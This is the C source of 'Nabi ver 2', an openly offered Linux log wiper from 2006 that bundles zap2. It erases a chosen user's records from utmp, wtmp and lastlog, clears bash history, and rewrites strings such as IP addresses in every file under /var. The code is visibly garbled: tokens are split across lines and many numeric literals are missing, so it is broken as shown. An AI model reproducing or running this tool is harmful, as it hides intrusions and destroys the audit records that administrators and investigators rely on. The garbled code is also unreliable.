Nabi version 2.0 - Advanced /var log wiper for Linux.
/*
Advanced /var log wiper for linux
nabi ver 2 ( friendly zap2.c )
Release Date:
nabi ver 2 - 3.8 2006 (Wed)
nabi ver 1 - 1.15 2006 (Sun)
1: zap2)
# ./nabi -z root
2: history cleanup)
# ./nabi -h
3: string change)
# ./nabi -r 111.111.111.111 222.222.222.222 ( you must check these strings length is same)
# ./nabi -r 'pts/1' 'tty/0' ( yo ~! )
Tested on:
- Debian 3.0r1
- RH 9.0
- Fedora core 2
..
CHANGED:
- add program option parser for split features on this file.
- erased minor version number of this program.
BUG FIXED:
- when if you typed "./nabi root 'pts/1' 'pts/2' then you may had an error
cause the not proper slashes of 's/pts/1/pts/2' but now it's okay.
see escape_slash().
comment:
i become a curious guy when i'm typing some code. what about you all?
for more useful toolkit. brb!
*/
#include <stdio.h>
#include <dirent.h>
#include <string.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <sys/file.h>
#include <fcntl.h>
#include <utmp.h>
#include <pwd.h>
#include <lastlog.h>
#define MAX_PATH 1024
#define MAX_DEPTH 128
#define PROGRAM "Nabi ver 2 ( <a href="mailto:[email protected]">[email protected]</a> )"
/*
#define DEBUG
*/
/* proto type */
int insert_node
(char *filename
);
void load_dir
(int cdepth
);
void init_list
();
void show_list
();
void exploit
(char *string
, char *newstring
);
void history_cleanup
();
void zap2_main
(char *user
);
void escape_slash
(char *pstr
);
/* linked-list stuffs for file list */
struct file_list
{
struct file_list
*next
;
int depth
;
char d_name
[MAX_PATH
];
} *head
, *tail
;
static char root_dir
[] = "/var";
int main
(int argc
, char *argv
[])
{
struct dirent
*dp
;
DIR
*dir
;
int dumb
;
char opt
;
char usage
[]={
"\n%s\n Usage : %s \n\t-z [username] : zap2 lucky!\n"
"\t-r <original string> <new string> : replace strings in all of files under /var\n"
"\t-h : clear bash history\n\n"
};
if(argc
== 1){
printf(usage
, PROGRAM
, argv
[]);
return(-1);
}
/* parsing the single option */
opt
= (char)argv
[1][1];
switch(opt
){
case 'z':
zap2_main
(argv
[2]);
return();
case 'h':
history_cleanup
();
return();
case 'r':
if(strlen(argv
[2]) != strlen(argv
[3])){
fprintf(stderr
, "must to be two string length is same. \n");
return(-1);
}
/* initialization linked-list */
init_list
();
/* prepare root_dir(/var) is be able to use */
if((dir
= opendir
(root_dir
)) == NULL
){
fprintf(stderr
, "can't open root directory");
return(-2);
}
closedir
(dir
);
/* loading file list into initialized linked-list ( MAX_DEPTH = /var/a/b/c/d... x 128 ) */
for(dumb
= 1; dumb
< MAX_DEPTH
; dumb
++){
load_dir
(dumb
);
}
#ifdef DEBUG
show_list
();
#endif
// spoof all your strings like ipaddress under /var directories.
exploit
(argv
[2], argv
[3]);
default:
fprintf(stderr
, "check your arguments
\n");
}
return ;
}
void init_list
()
{
head
= (struct file_list
*) malloc(sizeof(struct file_list
));
tail
= (struct file_list
*) malloc(sizeof(struct file_list
));
head
->depth
= 1;
strncpy(head
->d_name
, root_dir
, MAX_PATH
);
head
->next
= tail
;
tail
->depth
= -1;
tail
->next
= NULL
;
}
int insert_node
(char *filename
)
{
struct file_list
*ipos
;
struct file_list
*new_node
;
unsigned int cnt_d
= ;
char *ifilename
;
ifilename
= filename
;
#ifdef DEBUG
printf("insert_node\n");
printf("%s\n", ifilename
);
#endif
while(*ifilename
!= '\x00')
if(*ifilename
++ == '/') cnt_d
++;
#ifdef DEBUG
printf("cnt_d = %d\n", cnt_d
);
#endif
for(ipos
= head
; ipos
->next
!= tail
; ipos
= ipos
->next
);
//ipos = ipos->next;
if((new_node
= (struct file_list
*)malloc(sizeof(struct file_list
))) == NULL
)
return(-1);
new_node
->depth
= cnt_d
;
strncpy(new_node
->d_name
, filename
, MAX_PATH
);
new_node
->next
= tail
;
ipos
->next
= new_node
;
#ifdef DEBUG
printf("newnode file: %s\n", filename
);
#endif
return ;
}
void load_dir
(int cdepth
)
{
struct file_list
*wpos
;
DIR
*dir
;
struct dirent
*dp
;
char full_path
[MAX_PATH
];
int dplen
= ;
#ifdef DEBUG
printf("load_dir\n");
#endif
for(wpos
= head
; wpos
->next
!= NULL
; wpos
= wpos
->next
){
if(wpos
->depth
== -1) return;
#ifdef DEBUG
printf("wpos->depth : %d cdepth: %d\n", wpos
->depth
, cdepth
);
#endif
if(wpos
->depth
== cdepth
){
// insert cdepth's child directories.
if((dir
= opendir
(wpos
->d_name
)) == NULL
){
continue;
}
while((dp
= readdir
(dir
)) != NULL
){
dplen
= strlen(dp
->d_name
);
if(dp
->d_name
[dplen
-1] != '.'){
sprintf(full_path
, "%s/%s", wpos
->d_name
, dp
->d_name
);
insert_node
(full_path
);
}
}
closedir
(dir
);
}
}
wpos
= wpos
->next
; // left last one node hmm ??
}
void show_list
()
{
struct file_list
*spos
;
#ifdef DEBUG
printf("showlist\n");
#endif
for(spos
= head
; spos
->next
!= NULL
; spos
= spos
->next
){
printf("%d: %s\n", spos
->depth
, spos
->d_name
);
}
}
void escape_slash
(char *pstr
)
{
char orig
[512];
char *tmp
;
int pos
= ;
tmp
= pstr
;
memset(orig
, , sizeof(orig
));
while(*tmp
!= '\x00'){
if(*tmp
!= '/')
orig
[pos
++] = *tmp
;
else{
orig
[pos
++] = '\\';
orig
[pos
++] = '/';
}
tmp
++;
}
pstr
= orig
;
#ifdef DEBUG
printf("%s\n", pstr
);
#endif
}
/* thanks for this nice program sed and mv */
#define NICE_SED "/bin/sed"
#define USEFUL_MV "/bin/mv"
void exploit
(char *string
, char *newstring
)
{
struct file_list
*epos
;
struct stat nabistat
;
char command
[512];
char tmp_file
[128];
if(strlen(string
) != strlen(newstring
)){
perror("must to be two argument's length is same. \n");
return;
}
for(epos
= head
; epos
->next
!= NULL
; epos
= epos
->next
){
lstat
(epos
->d_name
, &nabistat
);
if(S_ISREG
(nabistat.
st_mode)){
#ifdef DEBUG
printf("THIS IS REGULAR FILE>> %s\n", epos
->d_name
);
#endif
sprintf(tmp_file
, "%s.sed", epos
->d_name
);
escape_slash
(string
);
escape_slash
(newstring
);
sprintf(command
, "%s 's/%s/%s/g' %s > %s.sed; %s %s %s; rm -rf %s",
NICE_SED
, string
, newstring
, epos
->d_name
, epos
->d_name
,
USEFUL_MV
, tmp_file
, epos
->d_name
,
tmp_file
);
// system(command);
#ifdef DEBUG
printf("%s\n", command
);
#endif
}
}
}
void history_cleanup
()
{
/* request new machnism for this function */
system("w; last; lastlog; echo > ~/.bash_history");
system("echo 'clear;history -c' > ~/.bash_logout");
}
/*
zap2.c ( combined ).
*/
#define WTMP_NAME "/var/log/wtmp"
#define UTMP_NAME "/var/run/utmp"
#define LASTLOG_NAME "/var/log/lastlog"
int f
;
void kill_utmp
(who
)
char *who
;
{
struct utmp utmp_ent
;
if ((f
=open
(UTMP_NAME
,O_RDWR
))>=) {
while(read
(f
, &utmp_ent
, sizeof (utmp_ent
))> )
if (!strncmp(utmp_ent.
ut_name,who
,strlen(who
))) {
bzero
((char *)&utmp_ent
,sizeof( utmp_ent
));
lseek
(f
, -(sizeof (utmp_ent
)), SEEK_CUR
);
write
(f
, &utmp_ent
, sizeof (utmp_ent
));
}
close
(f
);
}
}
void kill_wtmp
(who
)
char *who
;
{
struct utmp utmp_ent
;
long pos
;
pos
= 1L;
if ((f
=open
(WTMP_NAME
,O_RDWR
))>=) {
while(pos
!= -1L) {
lseek
(f
,-(long)( (sizeof(struct utmp
)) * pos
),L_XTND
);
if (read
(f
, &utmp_ent
, sizeof (struct utmp
))<) {
pos
= -1L;
} else {
if (!strncmp(utmp_ent.
ut_name,who
,strlen(who
))) {
bzero
((char *)&utmp_ent
,sizeof(struct utmp
));
lseek
(f
,-( (sizeof(struct utmp
)) * pos
),L_XTND
);
write
(f
, &utmp_ent
, sizeof (utmp_ent
));
pos
= -1L;
} else pos
+= 1L;
}
}
close
(f
);
}
}
void kill_lastlog
(who
)
char *who
;
{
struct passwd
*pwd
;
struct lastlog newll
;
if ((pwd
=getpwnam
(who
))!=NULL
) {
if ((f
=open
(LASTLOG_NAME
, O_RDWR
)) >= ) {
lseek
(f
, (long)pwd
->pw_uid
* sizeof (struct lastlog
), );
bzero
((char *)&newll
,sizeof( newll
));
write
(f
, (char *)&newll
, sizeof( newll
));
close
(f
);
}
} else printf("%s: ?\n",who
);
}
void zap2_main
(char *user
)
{
kill_lastlog
(user
);
kill_wtmp
(user
);
kill_utmp
(user
);
printf("nabi: Zap2!\n");
}